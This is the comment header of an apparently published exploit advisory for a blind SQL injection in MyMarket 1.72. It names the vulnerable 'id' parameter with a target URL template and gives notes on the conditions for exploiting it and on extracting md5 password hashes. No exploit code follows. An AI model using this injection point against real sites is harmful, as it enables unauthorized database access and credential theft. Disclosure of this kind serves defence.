#MyMarket 1.72 Blind SQL Injection Exploit
#
######################
#
#Bug by: h0yt3r

#Demo: http://mymarket.sourceforge.net/demo/shopping/

#Ok when we give $id an unexpected value like this we get an SQL Error.
#Union selecting seems not possible...
#Exploit needs a valid category id.
#The Password is in md5 so exploiting will take an awful lot of time.
#You will have to change the content on some sites if there are no categorys.
#So I couldnt make it to write a stable expl for all sites using this.
#
#SQL Injection:
#http://[target]/[path]/?id=[SQL]
